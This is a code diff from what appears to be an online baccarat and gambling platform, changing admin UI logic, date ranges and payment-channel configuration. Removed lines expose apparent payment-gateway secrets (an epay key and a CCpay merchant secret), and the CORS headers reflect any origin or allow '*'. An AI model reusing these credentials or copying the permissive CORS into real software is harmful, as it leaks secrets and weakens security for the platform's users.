Vendored
BIN
Binary file not shown.
Executable → Regular
Executable → Regular
+1
-36
@@ -269,12 +269,7 @@
|
||||
dataType: 'JSON',
|
||||
success: function (data) {
|
||||
if (data.code == 0) {
|
||||
// 校验未通过:用必须点确认的弹窗代替一闪而过的 toast,确保操作员看清失败原因
|
||||
// (如返水率/码率/占股超过上级上限时,后端会返回具体上限值)
|
||||
layer.alert(data.msg, {
|
||||
title: lang.message,
|
||||
icon: 0
|
||||
});
|
||||
layer.msg(data.msg);
|
||||
} else if (data.code == 1) {
|
||||
layer.alert(data.msg,{
|
||||
title:lang.message,
|
||||
@@ -282,36 +277,6 @@
|
||||
x_admin_close();
|
||||
parent.location.reload();
|
||||
});
|
||||
} else if (data.code == 2) {
|
||||
// 时序风险:下级有未结算注单,二次确认后带 confirm_pending 重新提交
|
||||
layer.confirm(data.msg, {
|
||||
title: lang.message,
|
||||
btn: ['确定保存', '取消']
|
||||
}, function (idx) {
|
||||
layer.close(idx);
|
||||
query.confirm_pending = 1;
|
||||
$.ajax({
|
||||
url: '/agent/do_edit',
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
success: function (d) {
|
||||
if (d.code == 0) {
|
||||
layer.alert(d.msg, {
|
||||
title: lang.message,
|
||||
icon: 0
|
||||
});
|
||||
} else if (d.code == 1) {
|
||||
layer.alert(d.msg, {
|
||||
title: lang.message
|
||||
}, function () {
|
||||
x_admin_close();
|
||||
parent.location.reload();
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
Executable → Regular
Executable → Regular
+2
@@ -644,11 +644,13 @@
|
||||
//query.mobile = $('#mobile').val();
|
||||
//query.bet_type = $('#bet_type').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
/*
|
||||
query.agent_commission = $('#agent_commission').val();
|
||||
query.agent_commission_dt = $('#agent_commission_dt').val();
|
||||
query.agent_commission_nn = $('#agent_commission_nn').val();
|
||||
query.agent_commission_tc = $('#agent_commission_tc').val();
|
||||
query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
|
||||
*/
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.limit_low_tie = $('#limit_low_tie').val();
|
||||
|
||||
@@ -180,17 +180,31 @@
|
||||
}else{
|
||||
dateLang = 'cn';
|
||||
}
|
||||
// 计算默认时间:今天07:00:00 ~ 明天06:59:59
|
||||
var now = new Date();
|
||||
var y = now.getFullYear();
|
||||
var m = ('0' + (now.getMonth() + 1)).slice(-2);
|
||||
var d = ('0' + now.getDate()).slice(-2);
|
||||
var tomorrow = new Date(now.getTime() + 86400000);
|
||||
var ty = tomorrow.getFullYear();
|
||||
var tm = ('0' + (tomorrow.getMonth() + 1)).slice(-2);
|
||||
var td = ('0' + tomorrow.getDate()).slice(-2);
|
||||
var defaultStart = y + '-' + m + '-' + d + ' 07:00:00';
|
||||
var defaultEnd = ty + '-' + tm + '-' + td + ' 06:59:59';
|
||||
|
||||
//执行一个laydate实例
|
||||
laydate.render({
|
||||
elem: '#start' //指定元素
|
||||
elem: '#start'
|
||||
,type:'datetime',
|
||||
lang: dateLang
|
||||
lang: dateLang,
|
||||
value: defaultStart
|
||||
});
|
||||
//执行一个laydate实例
|
||||
laydate.render({
|
||||
elem: '#end' //指定元素
|
||||
elem: '#end'
|
||||
,type:'datetime',
|
||||
lang: dateLang
|
||||
lang: dateLang,
|
||||
value: defaultEnd
|
||||
});
|
||||
});
|
||||
|
||||
@@ -292,11 +306,11 @@
|
||||
break;
|
||||
}
|
||||
if(format == 1){
|
||||
startDate = startYear + '-' + startMonth + '-' + startDay + ' 00:00:00';
|
||||
endDate = endYear + '-' + endMonth + '-' + endDay + ' 23:59:59';
|
||||
startDate = startYear + '-' + startMonth + '-' + startDay + ' 07:00:00';
|
||||
endDate = endYear + '-' + endMonth + '-' + endDay + ' 06:59:59';
|
||||
}else{
|
||||
startDate = startDay + ' 00:00:00';
|
||||
endDate = endDay + ' 23:59:59';
|
||||
startDate = startDay + ' 07:00:00';
|
||||
endDate = endDay + ' 06:59:59';
|
||||
}
|
||||
|
||||
query.startDate = startDate;
|
||||
|
||||
@@ -77,10 +77,7 @@
|
||||
<div class="gap">
|
||||
<button class="layui-btn search-btn" id="search" onclick="showShadow()">{$lang['search']}</button>
|
||||
<a class="layui-btn search-btn" onclick="showShadow()" href="javascript:location.replace(location.href);">{$lang['refresh']}</a>
|
||||
<label style="margin-left:6px;line-height:38px;cursor:pointer;font-weight:normal;vertical-align:middle;">
|
||||
<input type="checkbox" id="autoRefresh" style="vertical-align:middle;"> 自动刷新
|
||||
</label>
|
||||
<button type="button" class="layui-btn search-btn countDown" style="display:none;">10</button>
|
||||
<button class="layui-btn search-btn countDown">5</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@@ -190,45 +187,17 @@
|
||||
$(function(){
|
||||
var online = $('#online').val();
|
||||
var refreshUrl = $('#refreshUrl').val();
|
||||
var INTERVAL = 10; // 自动刷新间隔(秒)
|
||||
var countDown = INTERVAL;
|
||||
var autoTimer = null;
|
||||
|
||||
function startAuto(reloadFn){
|
||||
countDown = INTERVAL;
|
||||
$('.countDown').show().html(countDown);
|
||||
autoTimer = setInterval(function(){
|
||||
var countDown = 10;
|
||||
if(online == 1){
|
||||
$('.countDown').show();
|
||||
setInterval(function(){
|
||||
countDown = countDown - 1;
|
||||
$('.countDown').html(countDown);
|
||||
if(countDown <= 0){
|
||||
reloadFn();
|
||||
if(countDown == 0){
|
||||
location.href = refreshUrl;
|
||||
}
|
||||
},1000);
|
||||
}
|
||||
function stopAuto(){
|
||||
if(autoTimer){ clearInterval(autoTimer); autoTimer = null; }
|
||||
$('.countDown').hide();
|
||||
}
|
||||
|
||||
if(online == 1){
|
||||
// 从“在线管理”进入:保持原有自动刷新行为
|
||||
startAuto(function(){ location.href = refreshUrl; });
|
||||
}else{
|
||||
// 注单查询:可开关的今日实时自动刷新(默认开,刷新当前查询条件)
|
||||
var saved = localStorage.getItem('bet_auto_refresh');
|
||||
var enabled = (saved === null) ? true : (saved === '1');
|
||||
$('#autoRefresh').prop('checked', enabled);
|
||||
if(enabled){ startAuto(function(){ location.replace(location.href); }); }
|
||||
$('#autoRefresh').on('change', function(){
|
||||
if($(this).is(':checked')){
|
||||
localStorage.setItem('bet_auto_refresh','1');
|
||||
startAuto(function(){ location.replace(location.href); });
|
||||
}else{
|
||||
localStorage.setItem('bet_auto_refresh','0');
|
||||
stopAuto();
|
||||
}
|
||||
});
|
||||
}
|
||||
})
|
||||
|
||||
layui.use('laydate', function () {
|
||||
|
||||
+1
-41
@@ -17,7 +17,7 @@ return [
|
||||
// 应用命名空间
|
||||
'app_namespace' => 'app',
|
||||
// 应用调试模式
|
||||
'app_debug' => true,
|
||||
'app_debug' => false,
|
||||
// 应用Trace
|
||||
'app_trace' => false,
|
||||
// 应用模式状态
|
||||
@@ -281,13 +281,6 @@ return [
|
||||
'default_wt_agent' => 566,
|
||||
'limit_agent' => [87, 1371],
|
||||
],
|
||||
'3' => [
|
||||
'name' => '越南',
|
||||
'pay' => 'alinPay',
|
||||
'default_agent' => 111,
|
||||
'default_wt_agent' => 111,
|
||||
'limit_agent' => [],
|
||||
],
|
||||
],
|
||||
|
||||
'limit_list' => [
|
||||
@@ -350,38 +343,5 @@ return [
|
||||
'1' => '在線繳費'
|
||||
]
|
||||
],
|
||||
'alinPay' => [//越南AlinPay
|
||||
'online_order_fac' => 'alin_online_order',//越南
|
||||
'notify_url' => 'https://api.g7g7.top/order/alin_recharge_callback',//代收回调地址
|
||||
'payment_notify_url' => 'https://api.g7g7.top/crypto/alin_payment_callback',//代付回调地址
|
||||
'callback_url' => '',
|
||||
'type' => [
|
||||
'11' => '越南代收'
|
||||
]
|
||||
],
|
||||
'epay' => [//彩虹易支付(USDT/支付宝/微信 聚合)
|
||||
'online_order_fac' => 'epay_online_order',
|
||||
'notify_url' => 'https://api.g7g7.top/order/epay_recharge_callback',// 异步回调
|
||||
'callback_url' => 'https://api.g7g7.top/order/epay_return',// 同步跳转回业务
|
||||
'api_url' => 'https://pay.g7g7.top',
|
||||
'pid' => '1000',
|
||||
'key' => 'bf7b83653f5c056a6103e26263a75fa1',
|
||||
'goods_name' => '账户充值',
|
||||
'type' => [
|
||||
'usdt' => 'USDT支付',
|
||||
// 'alipay' => '支付宝',
|
||||
// 'wxpay' => '微信支付',
|
||||
]
|
||||
],
|
||||
'ccpay' => [//CCmerchant越南银行代收
|
||||
'online_order_fac' => 'ccpay_online_order',
|
||||
'notify_url' => 'https://api.g7g7.top/order/ccpay_recharge_callback',
|
||||
'callback_url' => '',
|
||||
'api_url' => 'https://c.gmobvfxllc.com/gateway/api/trade',
|
||||
'mch_no' => 'M8822026041910000352',
|
||||
'pay_secret' => '820281b0d0b24a6bb701d8fc1c31a197',
|
||||
'timeout' => 600,
|
||||
'type' => ['pay' => 'CCpay越南银行'],
|
||||
],
|
||||
]
|
||||
];
|
||||
|
||||
@@ -245,7 +245,7 @@ class Index Extends Common{
|
||||
|
||||
// 验证靴ID
|
||||
if($boot_id > 0){
|
||||
$ns = Db::name($numberTabTable)->where(array('game_id' => $game_id, 'boot_id' => $boot_id, 'bet_status' => 3))->field('result,pair,luck_six,dragon_seven,panda_eight')->order('start_time ASC,id ASC')->select();
|
||||
$ns = Db::name($numberTabTable)->where(array('game_id' => $game_id, 'boot_id' => $boot_id, 'bet_status' => 3))->field('result,pair')->order('start_time ASC,id ASC')->select();
|
||||
if($forecast == 1){
|
||||
// 庄问路
|
||||
$ns[] = array('result'=>1,'pair'=>0);
|
||||
|
||||
@@ -275,7 +275,7 @@ function waybill($ns){
|
||||
$showRoadLocation = array();
|
||||
foreach($showRoad as $k => $v){
|
||||
foreach($v as $key => $val){
|
||||
$pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair'], 'luck_six' => $val['luck_six'] ?? 0, 'dragon_seven' => $val['dragon_seven'] ?? 0, 'panda_eight' => $val['panda_eight'] ?? 0);
|
||||
$pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair']);
|
||||
array_push($showRoadLocation,$pushData);
|
||||
}
|
||||
}
|
||||
|
||||
Vendored
BIN
Binary file not shown.
Executable → Regular
Vendored
BIN
Binary file not shown.
@@ -2,7 +2,6 @@
|
||||
namespace app\onlinechip\controller;
|
||||
|
||||
use pay\Ybf;
|
||||
use pay\AlinPay;
|
||||
use think\Cache;
|
||||
use \think\Controller;
|
||||
use think\Db;
|
||||
@@ -231,90 +230,6 @@ class Crypto Extends Controller{
|
||||
return $sign == $data['sign'];
|
||||
}
|
||||
|
||||
/**
|
||||
* AlinPay 越南代付回调
|
||||
*/
|
||||
public function alin_payment_callback()
|
||||
{
|
||||
$post = Request::instance()->post();
|
||||
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
addLogToFile('越南代付回调原始数据:' . $json, 'alin_callback', 'alin');
|
||||
|
||||
if (!is_array($post) || empty($post['out_trade_no']) || empty($post['sign'])) {
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
// 记录回调日志
|
||||
$logId = Db::name('pay_callback_log')->insertGetId([
|
||||
'pay_channel' => 'ALIN_PAYMENT',
|
||||
'type' => 'payment',
|
||||
'json' => $json,
|
||||
'create_time' => date('Y-m-d H:i:s'),
|
||||
]);
|
||||
|
||||
try {
|
||||
$alinPay = new AlinPay();
|
||||
$res = $alinPay->paymentCallback($post, $logId);
|
||||
exit($res ?: 'fail');
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('越南代付回调异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
|
||||
exit('fail');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* AlinPay 越南代收查询
|
||||
*/
|
||||
public function alin_query_order()
|
||||
{
|
||||
$orderNo = Request::instance()->post('order_no');
|
||||
if (!$orderNo) {
|
||||
return json(['code' => 0, 'msg' => '缺少订单号']);
|
||||
}
|
||||
|
||||
try {
|
||||
$alinPay = new AlinPay();
|
||||
$result = $alinPay->queryOrder($orderNo);
|
||||
return json($result);
|
||||
} catch (\Exception $e) {
|
||||
return json(['code' => 0, 'msg' => $e->getMessage()]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* AlinPay 越南代付查询
|
||||
*/
|
||||
public function alin_query_payment()
|
||||
{
|
||||
$orderNo = Request::instance()->post('order_no');
|
||||
if (!$orderNo) {
|
||||
return json(['code' => 0, 'msg' => '缺少订单号']);
|
||||
}
|
||||
|
||||
try {
|
||||
$alinPay = new AlinPay();
|
||||
$result = $alinPay->queryPayment($orderNo);
|
||||
return json($result);
|
||||
} catch (\Exception $e) {
|
||||
return json(['code' => 0, 'msg' => $e->getMessage()]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* AlinPay 账户余额查询
|
||||
*/
|
||||
public function alin_query_account()
|
||||
{
|
||||
try {
|
||||
$alinPay = new AlinPay();
|
||||
$result = $alinPay->queryAccount();
|
||||
return json($result);
|
||||
} catch (\Exception $e) {
|
||||
return json(['code' => 0, 'msg' => $e->getMessage()]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录日志
|
||||
* @param $type
|
||||
|
||||
@@ -13,9 +13,6 @@ class Order Extends Controller{
|
||||
use traits\tingPay;
|
||||
use traits\happyPay;
|
||||
use traits\hengfuPay;
|
||||
use traits\alinPay;
|
||||
use traits\epayPay;
|
||||
use traits\ccpayPay;
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
@@ -36,21 +33,8 @@ class Order Extends Controller{
|
||||
}
|
||||
$pay_method = $area_list[$user['area_id']]['pay'];
|
||||
if($user && $user['api_token'] == $api_token){
|
||||
$payMethod = $pay_list[$pay_method]['type'];
|
||||
$pay_routes = [];
|
||||
foreach($payMethod as $k => $v){
|
||||
$pay_routes[$k] = $pay_list[$pay_method]['online_order_fac'];
|
||||
}
|
||||
// 越南地区追加 USDT (Epay)
|
||||
if($user['area_id'] == 3 && !empty($pay_list['epay']['type'])){
|
||||
foreach($pay_list['epay']['type'] as $k => $v){
|
||||
$payMethod[$k] = $v;
|
||||
$pay_routes[$k] = $pay_list['epay']['online_order_fac'];
|
||||
}
|
||||
}
|
||||
$this->assign('online_order_fac',$pay_list[$pay_method]['online_order_fac']);
|
||||
$this->assign('payMethod', $payMethod);
|
||||
$this->assign('pay_routes', $pay_routes);
|
||||
$this->assign('payMethod',$pay_list[$pay_method]['type']);
|
||||
$this->assign('client',1);
|
||||
$this->assign('user_info',$user);
|
||||
return $this->fetch();
|
||||
@@ -70,24 +54,8 @@ class Order Extends Controller{
|
||||
}
|
||||
$pay_method = $area_list[$user['area_id']]['pay'];
|
||||
if($user && $user['api_token'] == $api_token){
|
||||
// 主通道(按 area_list 的 pay 配置)
|
||||
$payMethod = $pay_list[$pay_method]['type'];
|
||||
$pay_routes = [];
|
||||
foreach($payMethod as $k => $v){
|
||||
$pay_routes[$k] = $pay_list[$pay_method]['online_order_fac'];
|
||||
}
|
||||
|
||||
// 越南地区追加 USDT (Epay) 通道作为第二选项
|
||||
if($user['area_id'] == 3 && !empty($pay_list['epay']['type'])){
|
||||
foreach($pay_list['epay']['type'] as $k => $v){
|
||||
$payMethod[$k] = $v;
|
||||
$pay_routes[$k] = $pay_list['epay']['online_order_fac'];
|
||||
}
|
||||
}
|
||||
|
||||
$this->assign('online_order_fac', $pay_list[$pay_method]['online_order_fac']); // 兼容旧模板
|
||||
$this->assign('payMethod', $payMethod);
|
||||
$this->assign('pay_routes', $pay_routes);
|
||||
$this->assign('online_order_fac',$pay_list[$pay_method]['online_order_fac']);
|
||||
$this->assign('payMethod',$pay_list[$pay_method]['type']);
|
||||
$this->assign('client',2);
|
||||
$this->assign('user_info',$user);
|
||||
return $this->fetch();
|
||||
@@ -114,9 +82,8 @@ class Order Extends Controller{
|
||||
$zdlIdArr = explode(',',$user['agent_parent_id_path']);
|
||||
$area_list = config('area_list');
|
||||
//判断是否金流支线,如果不是的话,不允许充值
|
||||
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
|
||||
$isAllow = empty($limitAgents);
|
||||
foreach($limitAgents as $allowAgentId){
|
||||
$isAllow = false;
|
||||
foreach($area_list[$user['area_id']]['limit_agent'] as $allowAgentId){
|
||||
if(in_array($allowAgentId,$zdlIdArr)){
|
||||
$isAllow = true;
|
||||
}
|
||||
@@ -185,10 +152,9 @@ class Order Extends Controller{
|
||||
$user = Db::name('user')->where(array('id' => $user_id))->find();
|
||||
$zdlIdArr = explode(',',$user['agent_parent_id_path']);
|
||||
$area_list = config('area_list');
|
||||
//判断是否金流支线,如果不是的话,不允许提现
|
||||
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
|
||||
$isAllow = empty($limitAgents);
|
||||
foreach($limitAgents as $allowAgentId){
|
||||
//判断是否金流支线,如果不是的话,不允许充值
|
||||
$isAllow = false;
|
||||
foreach($area_list[$user['area_id']]['limit_agent'] as $allowAgentId){
|
||||
if(in_array($allowAgentId,$zdlIdArr)){
|
||||
$isAllow = true;
|
||||
}
|
||||
|
||||
@@ -16,23 +16,8 @@ use Waybill\WaybillToning;
|
||||
use Waybill\WaybillRoulette;
|
||||
|
||||
class Pcapi extends Controller{
|
||||
use traits\alinPay;
|
||||
use traits\epayPay;
|
||||
use traits\ccpayPay;
|
||||
public function __construct(){
|
||||
parent::__construct();
|
||||
// CORS headers
|
||||
$origin = Request::instance()->header('origin');
|
||||
if($origin){
|
||||
header('Access-Control-Allow-Origin: '.$origin);
|
||||
} else {
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
}
|
||||
header('Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization');
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE,OPTIONS');
|
||||
if(Request::instance()->isOptions()){
|
||||
exit();
|
||||
}
|
||||
$actionName = Request::instance()->action();
|
||||
if(in_array($actionName,['doregister'])){
|
||||
if(Session::has('is_post') && Session::get($actionName.'_is_post') == 0){
|
||||
@@ -50,6 +35,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
|
||||
public function get_version(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
return json(config('app_version'));
|
||||
}
|
||||
public function get_system_info(){
|
||||
@@ -63,6 +51,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//试玩登录
|
||||
public function demologin(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -115,6 +106,9 @@ class Pcapi extends Controller{
|
||||
|
||||
//保持在线--心跳
|
||||
public function keepOnline(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -138,6 +132,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//登录optimum
|
||||
public function login(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -197,7 +194,7 @@ class Pcapi extends Controller{
|
||||
$find['pay_channel'] = '';
|
||||
$find['pay_channel_currency'] = [];
|
||||
$find['pay_channel_coin_chain'] = [];
|
||||
if($topAgent['pay_channel'] && $topAgent['pay_channel'] != 'OPR'){
|
||||
if($topAgent['agent_type'] == 1){
|
||||
// 现金线走支付渠道
|
||||
$find['pay_channel'] = $topAgent['pay_channel'];
|
||||
$find['pay_channel_currency'] = [];
|
||||
@@ -211,7 +208,7 @@ class Pcapi extends Controller{
|
||||
$find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true);
|
||||
}
|
||||
}
|
||||
} elseif ($topAgent['pay_channel'] == 'OPR') { // 人工转帐上分,前端显示充值信息(不依赖 agent_type,只看 pay_channel)
|
||||
} elseif ($topAgent['agent_type'] == 2 && $topAgent['pay_channel'] == 'OPR') { // 人工转帐上分,前端显示充值信息
|
||||
$find['pay_channel'] = $topAgent['pay_channel'];
|
||||
$find['pay_channel_address'] = $topAgent['pay_channel_address'];
|
||||
}
|
||||
@@ -243,6 +240,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
// 获取用户信息
|
||||
public function get_user_info(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -270,7 +270,7 @@ class Pcapi extends Controller{
|
||||
$find['pay_channel'] = '';
|
||||
$find['pay_channel_currency'] = [];
|
||||
$find['pay_channel_coin_chain'] = [];
|
||||
if($topAgent['pay_channel'] && $topAgent['pay_channel'] != 'OPR'){
|
||||
if($topAgent['agent_type'] == 1){
|
||||
// 现金线走支付渠道
|
||||
$find['pay_channel'] = $topAgent['pay_channel'];
|
||||
$find['pay_channel_currency'] = [];
|
||||
@@ -284,9 +284,6 @@ class Pcapi extends Controller{
|
||||
$find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true);
|
||||
}
|
||||
}
|
||||
} elseif($topAgent['pay_channel'] == 'OPR'){ // 人工转帐上分:与 login 保持一致下发收款信息(此前 get_user_info 缺失,刷新会丢)
|
||||
$find['pay_channel'] = 'OPR';
|
||||
$find['pay_channel_address'] = $topAgent['pay_channel_address'];
|
||||
}
|
||||
$find['manager'] = [];
|
||||
if($find['bet_type'] == 2){
|
||||
@@ -312,6 +309,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//用户钱
|
||||
public function user_money(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -335,6 +335,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//修改密码
|
||||
public function update_password(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -372,6 +375,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//打赏
|
||||
public function to_tip(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -415,6 +421,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//好路
|
||||
public function good_road(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -450,6 +459,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//返回全部桌子
|
||||
public function all_table(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -1192,6 +1204,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//返回单张桌子
|
||||
public function singletable(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
// $json_arr = Request::instance()->post();
|
||||
@@ -1740,6 +1755,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//今日最佳
|
||||
public function optimum(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -1765,6 +1783,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//游戏记录
|
||||
public function get_user_bets(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -1793,8 +1814,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
@@ -2282,6 +2303,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//上下分记录
|
||||
public function recharge_record(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2301,8 +2325,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
@@ -2348,6 +2372,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//上下分记录
|
||||
public function tip_record(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2366,8 +2393,8 @@ class Pcapi extends Controller{
|
||||
$startTime = mktime(0,0,0,date('m'),date('d')-1,date('Y'));
|
||||
$endTime = mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
|
||||
}elseif($time_interval == 3){
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-6,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d"),date("Y"));
|
||||
$startTime = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
|
||||
$endTime = mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"));
|
||||
}
|
||||
$betWhere = array();
|
||||
$betWhere['create_time'] = array('between',[$startTime,$endTime]);
|
||||
@@ -2407,6 +2434,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_baccarat(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
